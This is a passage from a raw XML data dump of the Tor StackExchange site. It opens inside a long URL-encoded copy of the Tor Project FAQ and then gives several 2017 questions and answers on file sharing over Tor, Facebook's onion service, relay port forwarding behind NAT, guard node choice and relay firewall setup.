20Can%20I%20control%20which%20nodes%20(or%20country)%20are%20used%20for%20entry/exit?%20%20%20%20%20My%20firewall%20only%20allows%20a%20few%20outgoing%20ports.%20%20%20%20%20Is%20there%20a%20list%20of%20default%20exit%20ports?%20%20%20%20%20I%20keep%20seeing%20these%20warnings%20about%20SOCKS%20and%20DNS%20information%20leaks.%20Should%20I%20worry?%20%20%20%20%20How%20do%20I%20check%20if%20my%20application%20that%20uses%20SOCKS%20is%20leaking%20DNS%20requests?%20%20Running%20a%20Tor%20relay:%20%20%20%20%20%20How%20do%20I%20decide%20if%20I%20should%20run%20a%20relay?%20%20%20%20%20Why%20isn&amp;#39;t%20my%20relay%20being%20used%20more?%20%20%20%20%20I%20don&amp;#39;t%20have%20a%20static%20IP.%20%20%20%20%20Why%20do%20I%20get%20portscanned%20more%20often%20when%20I%20run%20a%20Tor%20relay?%20%20%20%20%20How%20can%20I%20get%20Tor%20to%20fully%20make%20use%20of%20my%20high%20capacity%20connection?%20%20%20%20%20How%20stable%20does%20my%20relay%20need%20to%20be?%20%20%20%20%20What%20bandwidth%20shaping%20options%20are%20available%20to%20Tor%20relays?%20%20%20%20%20How%20can%20I%20limit%20the%20total%20amount%20of%20bandwidth%20used%20by%20my%20Tor%20relay?%20%20%20%20%20Why%20does%20my%20relay%20write%20more%20bytes%20onto%20the%20network%20than%20it%20reads?%20%20%20%20%20Why%20can%20I%20not%20browse%20anymore%20after%20limiting%20bandwidth%20on%20my%20Tor%20relay?%20%20%20%20%20I&amp;#39;d%20run%20a%20relay,%20but%20I%20don&amp;#39;t%20want%20to%20deal%20with%20abuse%20issues.%20%20%20%20%20Should%20I%20install%20Tor%20from%20my%20package%20manager,%20or%20build%20from%20source?%20%20%20%20%20What%20is%20the%20BadExit%20flag?%20%20%20%20%20I%20got%20the%20BadExit%20flag.%20Why%20did%20that%20happen?%20%20%20%20%20My%20relay%20recently%20got%20the%20Guard%20flag%20and%20traffic%20dropped%20by%20half.%20%20%20%20%20I%20want%20to%20run%20my%20Tor%20client%20on%20a%20different%20computer%20than%20my%20applications.%20%20%20%20%20Can%20I%20install%20Tor%20on%20a%20central%20server,%20and%20have%20my%20clients%20connect%20to%20it?%20%20%20%20%20So%20I%20can%20just%20configure%20a%20nickname%20and%20ORPort%20and%20join%20the%20network?%20%20%20%20%20Should%20I%20be%20a%20normal%20relay%20or%20bridge%20relay?%20%20%20%20%20I%20want%20to%20upgrade/move%20my%20relay.%20How%20do%20I%20keep%20the%20same%20key?%20%20%20%20%20How%20do%20offline%20ed25519%20identity%20keys%20work?%20What%20do%20I%20need%20to%20know?%20%20%20%20%20I%20want%20to%20run%20more%20than%20one%20relay.%20%20%20%20%20How%20do%20I%20run%20my%20Tor%20relay%20as%20an%20NT%20service?%20%20%20%20%20Can%20I%20run%20a%20Tor%20relay%20from%20my%20virtual%20server%20account?%20%20%20%20%20My%20relay%20is%20picking%20the%20wrong%20IP%20address.%20%20%20%20%20I&amp;#39;m%20behind%20a%20NAT/Firewall%20%20%20%20%20How%20should%20I%20configure%20the%20outgoing%20filters%20on%20my%20relay?%20%20%20%20%20Why%20is%20my%20Tor%20relay%20using%20so%20much%20memory?%20%20%20%20%20Do%20I%20get%20better%20anonymity%20if%20I%20run%20a%20relay?%20%20%20%20%20I&amp;#39;m%20facing%20legal%20trouble.%20How%20do%20I%20prove%20that%20my%20server%20was%20a%20Tor%20relay%20at%20a%20given%20time?%20%20%20%20%20Can%20I%20donate%20for%20a%20relay%20rather%20than%20run%20my%20own?%20%20Tor%20hidden%20services:%20%20%20%20%20%20How%20do%20I%20access%20hidden%20services?%20%20%20%20%20How%20do%20I%20provide%20a%20hidden%20service?%20%20Development:%20%20%20%20%20%20What%20do%20these%20weird%20version%20numbers%20mean?%20%20%20%20%20How%20do%20I%20set%20up%20my%20own%20private%20Tor%20network?%20%20%20%20%20How%20can%20I%20make%20my%20Java%20program%20use%20the%20Tor%20network?%20%20%20%20%20What%20is%20Libevent?%20%20%20%20%20What%20do%20I%20need%20to%20do%20to%20get%20a%20new%20feature%20into%20Tor?%20%20Anonymity%20and%20Security:%20%20%20%20%20%20What%20protections%20does%20Tor%20provide?%20%20%20%20%20Can%20exit%20nodes%20eavesdrop%20on%20communications?%20Isn&amp;#39;t%20that%20bad?%20%20%20%20%20So%20I&amp;#39;m%20totally%20anonymous%20if%20I%20use%20Tor?%20%20%20%20%20Tell%20me%20about%20all%20the%20keys%20Tor%20uses.%20%20%20%20%20What%20are%20Entry%20Guards?%20%20%20%20%20How%20often%20does%20Tor%20change%20its%20paths?%20%20%20%20%20Tor%20uses%20hundreds%20of%20bytes%20for%20every%20IRC%20line.%20I%20can&amp;#39;t%20afford%20that!%20%20%20%20%20Why%20does%20netstat%20show%20these%20outbound%20connections?%20%20%20%20%20What%20about%20powerful%20blocking%20mechanisms%20%20%20%20%20Does%20Tor%20resist%20%22remote%20physical%20device%20fingerprinting%22?%20%20%20%20%20Is%20Tor%20like%20a%20VPN?%20%20%20%20%20Aren&amp;#39;t%2010%20proxies%20(proxychains)%20better%20than%20Tor%20with%20only%203%20hops?%20%20%20%20%20What%20attacks%20remain%20against%20onion%20routing?%20%20%20%20%20Where%20can%20I%20learn%20more%20about%20anonymity?%20%20Alternate%20designs%20that%20we%20don&amp;#39;t%20do%20(yet):%20%20%20%20%20%20You%20should%20make%20every%20Tor%20user%20be%20a%20relay.%20%20%20%20%20You%20should%20transport%20all%20IP%20packets,%20not%20just%20TCP%20packets.%20%20%20%20%20You%20should%20hide%20the%20list%20of%20Tor%20relays,%20so%20people%20can&amp;#39;t%20block%20the%20exits.%20%20%20%20%20You%20should%20let%20people%20choose%20their%20path%20length.%20%20%20%20%20You%20should%20split%20each%20connection%20over%20many%20paths.%20%20%20%20%20You%20should%20migrate%20application%20streams%20across%20circuits.%20%20%20%20%20You%20should%20let%20the%20network%20pick%20the%20path,%20not%20the%20client.%20%20%20%20%20Your%20default%20exit%20policy%20should%20block%20unallocated%20net%20blocks%20too.%20%20%20%20%20Exit%20policies%20should%20be%20able%20to%20block%20websites,%20not%20just%20IP%20addresses.%20%20%20%20%20You%20should%20change%20Tor%20to%20prevent%20users%20from%20posting%20certain%20content.%20%20%20%20%20You%20should%20send%20padding%20so%20it&amp;#39;s%20more%20secure.%20%20%20%20%20You%20should%20use%20steganography%20to%20hide%20Tor%20traffic.%20%20Abuse:%20%20%20%20%20%20Doesn&amp;#39;t%20Tor%20enable%20criminals%20to%20do%20bad%20things?%20%20%20%20%20How%20do%20I%20respond%20to%20my%20ISP%20about%20my%20exit%20relay?%20%20%20%20%20I%20have%20questions%20about%20a%20Tor%20IP%20address%20for%20a%20legal%20case.%20%20For%20other%20questions%20not%20yet%20on%20this%20version%20of%20the%20FAQ,%20see%20the%20wiki%20FAQ%20for%20now.%20General:%20What%20is%20Tor?%20%20The%20name%20%22Tor%22%20can%20refer%20to%20several%20different%20components.%20%20Tor%20is%20a%20program%20you%20can%20run%20on%20your%20computer%20that%20helps%20keep%20you%20safe%20on%20the%20Internet.%20It%20protects%20you%20by%20bouncing%20your%20communications%20around%20a%20distributed%20network%20of%20relays%20run%20by%20volunteers%20all%20around%20the%20world:%20it%20prevents%20somebody%20watching%20your%20Internet%20connection%20from%20learning%20what%20sites%20you%20visit,%20and%20it%20prevents%20the%20sites%20you%20visit%20from%20learning%20your%20physical%20location.%20This%20set%20of%20volunteer%20relays%20is%20called%20the%20Tor%20network.%20The%20way%20most%20people%20use%20Tor%20is%20with%20Tor%20Browser,%20which%20is%20a%20version%20of%20Firefox%20that%20fixes%20many%20privacy%20issues.%20You%20can%20read%20more%20about%20how%20Tor%20works%20on%20the%20overview%20page.%20%20The%20Tor%20Project%20is%20a%20non-profit%20(charity)%20organization%20that%20maintains%20and%20develops%20the%20Tor%20software.%20How%20is%20Tor%20different%20from%20other%20proxies?%20%20A%20typical%20proxy%20provider%20sets%20up%20a%20server%20somewhere%20on%20the%20Internet%20and%20allows%20you%20to%20use%20it%20to%20relay%20your%20traffic.%20This%20creates%20a%20simple,%20easy%20to%20maintain%20architecture.%20The%20users%20all%20enter%20and%20leave%20through%20the%20same%20server.%20The%20provider%20may%20charge%20for%20use%20of%20the%20proxy,%20or%20fund%20their%20costs%20through%20advertisements%20on%20the%20server.%20In%20the%20simplest%20configuration,%20you%20don&amp;#39;t%20have%20to%20install%20anything.%20You%20just%20have%20to%20point%20your%20browser%20at%20their%20proxy%20server.%20Simple%20proxy%20providers%20are%20fine%20solutions%20if%20you%20do%20not%20want%20protections%20for%20your%20privacy%20and%20anonymity%20online%20and%20you%20trust%20the%20provider%20to%20not%20do%20bad%20things.%20Some%20simple%20proxy%20providers%20use%20SSL%20to%20secure%20your%20connection%20to%20them,%20which%20protects%20you%20against%20local%20eavesdroppers,%20such%20as%20those%20at%20a%20cafe%20with%20free%20wifi%20Internet.%20%20Simple%20proxy%20providers%20also%20create%20a%20single%20point%20of%20failure.%20The%20provider%20knows%20both%20who%20you%20are%20and%20what%20you%20browse%20on%20the%20Internet.%20They%20can%20see%20your%20traffic%20as%20it%20passes%20through%20their%20server.%20In%20some%20cases,%20they%20can%20even%20see%20inside%20your%20encrypted%20traffic%20as%20they%20relay%20it%20to%20your%20banking%20site%20or%20to%20ecommerce%20stores.%20You%20have%20to%20trust%20the%20provider%20isn&amp;#39;t%20watching%20your%20traffic,%20injecting%20their%20own%20advertisements%20into%20your%20traffic%20stream,%20or%20recording%20your%20personal%20details.%20%20Tor%20passes%20your%20traffic%20through%20at%20least%203%20different%20servers%20before%20sending%20it%20on%20to%20the%20destination.%20Because%20there&amp;#39;s%20a%20separate%20layer%20of%20encryption%20for%20each%20of%20the%20three%20relays,%20somebody%20watching%20your%20Internet%20connection%20can&amp;#39;t%20modify,%20or%20read,%20what%20you%20are%20sending%20into%20the%20Tor%20network.%20Your%20traffic%20is%20encrypted%20between%20the%20Tor%20client%20(on%20your%20computer)%20and%20where%20it%20pops%20out%20somewhere%20else%20in%20the%20world.%20%20Doesn&amp;#39;t%20the%20first%20server%20see%20who%20I%20am?%20%20%20%20%20Possibly.%20A%20bad%20first%20of%20three%20servers%20can%20see%20encrypted%20Tor%20traffic%20coming%20from%20your%20computer.%20It%20still%20doesn&amp;#39;t%20know%20who%20you%20are%20and%20what%20you%20are%20doing%20over%20Tor.%20It%20merely%20sees%20%22This%20IP%20address%20is%20using%20Tor%22.%20Tor%20is%20not%20illegal%20anywhere%20in%20the%20world,%20so%20using%20Tor%20by%20itself%20is%20fine.%20You%20are%20still%20protected%20from%20this%20node%20figuring%20out%20both%20who%20you%20are%20and%20where%20you%20are%20going%20on%20the%20Internet.%20Can&amp;#39;t%20the%20third%20server%20see%20my%20traffic?%20%20%20%20%20Possibly.%20A%20bad%20third%20of%20three%20servers%20can%20see%20the%20traffic%20you%20sent%20into%20Tor.%20It%20won&amp;#39;t%20know%20who%20sent%20this%20traffic.%20If%20you&amp;#39;re%20using%20encryption%20(like%20HTTPS),%20it%20will%20only%20know%20the%20destination.%20See%20this%20visualization%20of%20Tor%20and%20HTTPS%20to%20understand%20how%20Tor%20and%20HTTPS%20interact.%20%20%20What%20programs%20can%20I%20use%20with%20Tor?%20%20Most%20people%20use%20Tor%20Browser,%20which%20includes%20everything%20you%20need%20to%20browse%20the%20web%20safely%20using%20Tor.%20Using%20other%20browsers%20is%20dangerous%20and%20not%20recommended.%20%20There%20are%20plenty%20of%20other%20programs%20you%20can%20use%20with%20Tor,%20but%20we%20haven&amp;#39;t%20researched%20the%20application-level%20anonymity%20issues%20on%20all%20of%20them%20well%20enough%20to%20be%20able%20to%20recommend%20a%20safe%20configuration.%20Our%20wiki%20has%20a%20community-maintained%20list%20of%20instructions%20for%20Torifying%20specific%20applications.%20Please%20add%20to%20these%20lists%20and%20help%20us%20keep%20them%20accurate!%20Why%20is%20it%20called%20Tor?%20%20Because%20Tor%20is%20the%20onion%20routing%20network.%20When%20we%20were%20starting%20the%20new%20next-generation%20design%20and%20implementation%20of%20onion%20routing%20in%202001-2002,%20we%20would%20tell%20people%20we%20were%20working%20on%20onion%20routing,%20and%20they%20would%20say%20%22Neat.%20Which%20one?%22%20Even%20if%20onion%20routing%20has%20become%20a%20standard%20household%20term,%20Tor%20was%20born%20out%20of%20the%20actual%20onion%20routing%20project%20run%20by%20the%20Naval%20Research%20Lab.%20%20(It&amp;#39;s%20also%20got%20a%20fine%20translation%20from%20German%20and%20Turkish.)%20%20Note:%20even%20though%20it%20originally%20came%20from%20an%20acronym,%20Tor%20is%20not%20spelled%20%22TOR%22.%20Only%20the%20first%20letter%20is%20capitalized.%20In%20fact,%20we%20can%20usually%20spot%20people%20who%20haven&amp;#39;t%20read%20any%20of%20our%20website%20(and%20have%20instead%20learned%20everything%20they%20know%20about%20Tor%20from%20news%20articles)%20by%20the%20fact%20that%20they%20spell%20it%20wrong.%20Is%20there%20a%20backdoor%20in%20Tor?%20%20There%20is%20absolutely%20no%20backdoor%20in%20Tor.%20We%20know%20some%20smart%20lawyers%20who%20say%20that%20it&amp;#39;s%20unlikely%20that%20anybody%20will%20try%20to%20make%20us%20add%20one%20in%20our%20jurisdiction%20(U.S.).%20If%20they%20do%20ask%20us,%20we%20will%20fight%20them,%20and%20(the%20lawyers%20say)%20probably%20win.%20%20We%20will%20never%20put%20a%20backdoor%20in%20Tor.%20We%20think%20that%20putting%20a%20backdoor%20in%20Tor%20would%20be%20tremendously%20irresponsible%20to%20our%20users,%20and%20a%20bad%20precedent%20for%20security%20software%20in%20general.%20If%20we%20ever%20put%20a%20deliberate%20backdoor%20in%20our%20security%20software,%20it%20would%20ruin%20our%20professional%20reputations.%20Nobody%20would%20trust%20our%20software%20ever%20again%20%E2%80%94%20for%20excellent%20reason!%20%20But%20that%20said,%20there%20are%20still%20plenty%20of%20subtle%20attacks%20people%20might%20try.%20Somebody%20might%20impersonate%20us,%20or%20break%20into%20our%20computers,%20or%20something%20like%20that.%20Tor%20is%20open%20source,%20and%20you%20should%20always%20check%20the%20source%20(or%20at%20least%20the%20diffs%20since%20the%20last%20release)%20for%20suspicious%20things.%20If%20we%20(or%20the%20distributors)%20don&amp;#39;t%20give%20you%20source,%20that&amp;#39;s%20a%20sure%20sign%20something%20funny%20might%20be%20going%20on.%20You%20should%20also%20check%20the%20PGP%20signatures%20on%20the%20releases,%20to%20make%20sure%20nobody%20messed%20with%20the%20distribution%20sites.%20%20Also,%20there%20might%20be%20accidental%20bugs%20in%20Tor%20that%20could%20affect%20your%20anonymity.%20We%20periodically%20find%20and%20fix%20anonymity-related%20bugs,%20so%20make%20sure%20you%20keep%20your%20Tor%20versions%20up-to-date.%20Can%20I%20distribute%20Tor?%20%20Yes.%20%20The%20Tor%20software%20is%20free%20software.%20This%20means%20we%20give%20you%20the%20rights%20to%20redistribute%20the%20Tor%20software,%20either%20modified%20or%20unmodified,%20either%20for%20a%20fee%20or%20gratis.%20You%20don&amp;#39;t%20have%20to%20ask%20us%20for%20specific%20permission.%20%20However,%20if%20you%20want%20to%20redistribute%20the%20Tor%20software%20you%20must%20follow%20our%20LICENSE.%20Essentially%20this%20means%20that%20you%20need%20to%20include%20our%20LICENSE%20file%20along%20with%20whatever%20part%20of%20the%20Tor%20software%20you&amp;#39;re%20distributing.%20%20Most%20people%20who%20ask%20us%20this%20question%20don&amp;#39;t%20want%20to%20distribute%20just%20the%20Tor%20software,%20though.%20They%20want%20to%20distribute%20the%20Tor%20Browser.%20This%20includes%20Firefox%20Extended%20Support%20Release,%20and%20the%20NoScript%20and%20HTTPS-Everywhere%20extensions.%20You%20will%20need%20to%20follow%20the%20license%20for%20those%20programs%20as%20well.%20Both%20of%20those%20Firefox%20extensions%20are%20distributed%20under%20the%20GNU%20General%20Public%20License,%20while%20Firefox%20ESR%20is%20released%20under%20the%20Mozilla%20Public%20License.%20The%20simplest%20way%20to%20obey%20their%20licenses%20is%20to%20include%20the%20source%20code%20for%20these%20programs%20everywhere%20you%20include%20the%20bundles%20themselves.%20%20Also,%20you%20should%20make%20sure%20not%20to%20confuse%20your%20readers%20about%20what%20Tor%20is,%20who%20makes%20it,%20and%20what%20properties%20it%20provides%20(and%20doesn&amp;#39;t%20provide).%20See%20our%20trademark%20FAQ%20for%20details.%20How%20can%20I%20get%20support?%20%20See%20the%20Support%20section%20on%20the%20contact%20page.%20Is%20there%20a%20Tor%20forum?%20%20We%20have%20a%20StackExchange%20page%20that%20is%20currently%20in%20public%20beta.%20Why%20is%20Tor%20so%20slow?%20%20There%20are%20many%20reasons%20why%20the%20Tor%20network%20is%20currently%20slow.%20%20Before%20we%20answer,%20though,%20you%20should%20realize%20that%20Tor%20is%20never%20going%20to%20be%20blazing%20fast.%20Your%20traffic%20is%20bouncing%20through%20volunteers&amp;#39;%20computers%20in%20various%20parts%20of%20the%20world,%20and%20some%20bottlenecks%20and%20network%20latency%20will%20always%20be%20present.%20You%20shouldn&amp;#39;t%20expect%20to%20see%20university-style%20bandwidth%20through%20Tor.%20%20But%20that%20doesn&amp;#39;t%20mean%20that%20it%20can&amp;#39;t%20be%20improved.%20The%20current%20Tor%20network%20is%20quite%20small%20compared%20to%20the%20number%20of%20people%20trying%20to%20use%20it,%20and%20many%20of%20these%20users%20don&amp;#39;t%20understand%20or%20care%20that%20Tor%20can&amp;#39;t%20currently%20handle%20file-sharing%20traffic%20load.%20%20For%20the%20much%20more%20in-depth%20answer,%20see%20Roger&amp;#39;s%20blog%20post%20on%20the%20topic,%20which%20includes%20both%20a%20detailed%20PDF%20and%20a%20video%20to%20go%20with%20it.%20%20What%20can%20you%20do%20to%20help?%20%20%20%20%20%20Configure%20your%20Tor%20to%20relay%20traffic%20for%20others.%20Help%20make%20the%20Tor%20network%20large%20enough%20that%20we%20can%20handle%20all%20the%20users%20who%20want%20privacy%20and%20security%20on%20the%20Internet.%20%20%20%20%20Help%20us%20make%20Tor%20more%20usable.%20We%20especially%20need%20people%20to%20help%20make%20it%20easier%20to%20configure%20your%20Tor%20as%20a%20relay.%20Also,%20we%20need%20help%20with%20clear%20simple%20documentation%20to%20walk%20people%20through%20setting%20it%20up.%20%20%20%20%20There%20are%20some%20bottlenecks%20in%20the%20current%20Tor%20network.%20Help%20us%20design%20experiments%20to%20track%20down%20and%20demonstrate%20where%20the%20problems%20are,%20and%20then%20we%20can%20focus%20better%20on%20fixing%20them.%20%20%20%20%20Tor%20needs%20some%20architectural%20changes%20too.%20One%20important%20change%20is%20to%20start%20providing%20better%20service%20to%20people%20who%20relay%20traffic.%20We&amp;#39;re%20working%20on%20this,%20and%20we&amp;#39;ll%20finish%20faster%20if%20we%20get%20to%20spend%20more%20time%20on%20it.%20%20%20%20%20Help%20do%20other%20things%20so%20we%20can%20do%20the%20hard%20stuff.%20Please%20take%20a%20moment%20to%20figure%20out%20what%20your%20skills%20and%20interests%20are,%20and%20then%20look%20at%20our%20volunteer%20page.%20%20%20%20%20Help%20find%20sponsors%20for%20Tor.%20Do%20you%20work%20at%20a%20company%20or%20government%20agency%20that%20uses%20Tor%20or%20has%20a%20use%20for%20Internet%20privacy,%20e.g.%20to%20browse%20the%20competition&amp;#39;s%20websites%20discreetly,%20or%20to%20connect%20back%20to%20the%20home%20servers%20when%20on%20the%20road%20without%20revealing%20affiliations?%20If%20your%20organization%20has%20an%20interest%20in%20keeping%20the%20Tor%20network%20working,%20please%20contact%20them%20about%20supporting%20Tor.%20Without%20sponsors,%20Tor%20is%20going%20to%20become%20even%20slower.%20%20%20%20%20If%20you%20can&amp;#39;t%20help%20out%20with%20any%20of%20the%20above,%20you%20can%20still%20help%20out%20individually%20by%20donating%20a%20bit%20of%20money%20to%20the%20cause.%20It%20adds%20up!%20%20How%20can%20I%20share%20files%20anonymously%20through%20Tor?&quot; rel=&quot;noreferrer&quot;&gt;How can I share files anonymously through Tor?&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;File sharing (peer-to-peer/P2P) is widely unwanted in the Tor network,&#xA;  and exit nodes are configured to block file sharing traffic by&#xA;  default. &lt;strong&gt;Tor is not really designed for it&lt;/strong&gt;, and file sharing through&#xA;  Tor slows down everyone's browsing. Also, &lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;noreferrer&quot;&gt;Bittorrent over Tor is not&#xA;  anonymous&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also only Tor relays route traffic between nodes, and &lt;strong&gt;Tor endpoints are not relays unless explicitly configured&lt;/strong&gt;. Thus adding a large number of non-relay endpoints is not going to help the network. And there are reasons &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#EverybodyARelay&quot; rel=&quot;noreferrer&quot;&gt;not to make the endpoints relays by default&lt;/a&gt;, Thus this approach would  only puts stress on other relays without significantly* increasing network anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*even non-relay users do provide some increase in anonymity to overall network, making some attacks such as traffic correlation more costly to execute - and thus more difficult to achieve. The increase however would be significantly larger if they ran relays)&lt;/p&gt;&#xA;" OwnerDisplayName="George Y." LastActivityDate="2017-05-04T04:09:54.613" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14729" PostTypeId="2" ParentId="6788" CreationDate="2017-05-04T22:37:28.067" Score="0" Body="&lt;p&gt;You could use facebook (facebookcorewwwi.onion) through Tor from within a Virtual Machine*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails&lt;/a&gt; allows it, as does &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt;, which is meant for that type of use. Tails also wipes all memory it uses in order to prevent long term persistency-based deanonymization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Qubes (https (colon) //www.qubes-os (dot) org/) might be usable for that kind of hardware-specs spoofing, but that would require reading the docs again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Some specific fingerprinting features based on GPU options most likely flatout won't work. Do ensure the virtualization engine you use doesn't expose your system's true specs.&lt;/p&gt;&#xA;" OwnerUserId="17356" LastActivityDate="2017-05-04T22:37:28.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14730" PostTypeId="2" ParentId="14723" CreationDate="2017-05-05T00:50:57.740" Score="1" Body="&lt;p&gt;Check any local firewall or packet filters allow inbound traffic on port 443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're behind a NAT device (e.g. you connect from a private IP address like &lt;em&gt;192.168.100.2&lt;/em&gt; to some router like &lt;em&gt;192.168.100.1&lt;/em&gt; to connect out to the internet) then you need to configure that device to set up a NAT forwarding rule, so that connections coming in to the router on port 443, get forwarded to your internal IP (&lt;em&gt;192.168.100.2&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, people trying to connect &lt;em&gt;in&lt;/em&gt; to your relay, are currently unable to do so. Something between them and your router is stopping the connection making it though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, with a non-static IP address, Tor should detect it's IP address automatically. If the IP changes it will republish it's descriptor with the new IP and the port forwarding config should remain in place and working on the new IP. Your relay will be unusable from the time that it changes until the next top of the hour (e.g. 01:00, 14:00, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you &lt;em&gt;may&lt;/em&gt; want to do is to setup a DHCP reservation, if that's available. If the LAN IP address changes then you'll need to reconfigure the port forwarding since it'll be pointing to the wrong LAN IP address. If setting up a DHCP reservation isn't possible, you might want to configure it as a static IP address outside of the range assigned by DHCP.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-05-05T11:14:39.320" LastActivityDate="2017-05-05T11:14:39.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14731" PostTypeId="2" ParentId="10135" CreationDate="2017-05-05T06:15:04.103" Score="0" Body="&lt;p&gt;Go to properties of the downloaded file for tor browser and click the tab &quot;unblock&quot; to allow installation for windows vista home.&lt;/p&gt;&#xA;" OwnerUserId="17358" LastActivityDate="2017-05-05T06:15:04.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14732" PostTypeId="1" CreationDate="2017-05-05T06:38:04.873" Score="1" ViewCount="1156" Body="&lt;p&gt;I have a problem specifying command line options to tor. trying to execute like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\path-to-tor\firefox.exe -help&#xA;doesn't produce anything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just C:...\firefox.exe &lt;a href=&quot;http://someurl.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://someurl.com&lt;/a&gt;&#xA;works and opens the URL so it accepts something (url) but anything else (I wanted to set up custom torrc but it seems -f also doesn't work&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what is wrong?&lt;/p&gt;&#xA;" OwnerUserId="17359" LastActivityDate="2017-05-05T06:38:04.873" Title="tor for windows command line problem" Tags="|windows|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14733" PostTypeId="1" CreationDate="2017-05-05T09:28:31.400" Score="1" ViewCount="183" Body="&lt;p&gt;In response to the comment on &lt;a href=&quot;https://blog.torproject.org/blog/tor-0306-released-new-series-stable&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/tor-0306-released-new-series-stable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is old version of tor node a bottleneck in the whole tor chain (in&#xA;  sense of security)? Does it downgrade encryption also between other&#xA;  nodes in the chain? If my guard uses old tor crypto which knows&#xA;  nothing about ECC for encryption, does it mean that ECC will not be&#xA;  used in my tor chain at all? (AFAIK, not, am I right?) Does it have&#xA;  sense to restrict the choice of guard nodes only by those which run&#xA;  last stable Tor release?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On May 2nd, 2017 yawning said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;If my guard uses old tor crypto which knows nothing about ECC for encryption, does it mean that ECC will not be used in my tor chain at&#xA;    all?&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;So something that predates 0.2.4.something? It's done on a per hop&#xA;  basis anyway.&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;&lt;strong&gt;Does it have sense to restrict the choice of guard nodes only by those which run last stable Tor release?&lt;/strong&gt;&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;If you want to dramatically reduce your anonymity set, then sure.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does restricting the guard nodes Tor chooses actually have a negative effect on anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a Tor user usually connects to the same guard node using a non-anonymous IP address, it seems this should have little effect on anonymity.&lt;/p&gt;&#xA;" OwnerUserId="17363" LastActivityDate="2017-05-05T09:28:31.400" Title="Does restricting guard node choice negatively affect anonymity?" Tags="|configuration|guard-node|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14734" PostTypeId="2" ParentId="6788" CreationDate="2017-05-05T16:33:33.300" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to use FaceBook anonymously with Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anonymously as in &quot;Facebook doesn't know who you are&quot;, then no. You're required to provide a phone number to register, and you may get (in some cases) your account locked if they ask you to prove your identity.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to use FaceBook without JavaScript?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, use the mobile version: &lt;a href=&quot;https://m.facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://m.facebookcorewwwi.onion/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="17367" LastActivityDate="2017-05-05T16:33:33.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14735" PostTypeId="1" CreationDate="2017-05-05T22:10:06.103" Score="1" ViewCount="416" Body="&lt;p&gt;Having build my Ubuntu Pc and loaded TOR, it is now running very nicely as a Node.&#xA;This is within my home network.&#xA;The Node has got an IP static address, so it won't fail to get back as a Node if I have for any reason to shut it down.&#xA;I intend to have the power supply via APC, so if I get a power outage the Tor server will not be affected.&#xA;Like wise the ISP Hub so its always on the NET.&#xA;I do have virus protection AVG on my main PC with the Firewall attachments.&#xA;I will not be using the TOR relay for anything else , no email, no IRC etc.&#xA;The question - Does my TOR Relay need a separate firewall and or Virus protection.&#xA;If so what is recommended please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for this,when your trying to understand a new system without anyone to talk to. I will keep persevering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have followed your instructions and find that ufw is already installed and running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then ran the  'sudo apt install unattended-upgrades'&#xA;it told me that the unattended-upgrades is already the newest version and that i could use the  'sudo apt autoremove' to remove some items that are no longer required.&#xA;all done and uptodate , thanks again&lt;/p&gt;&#xA;" OwnerUserId="17225" LastEditorUserId="17225" 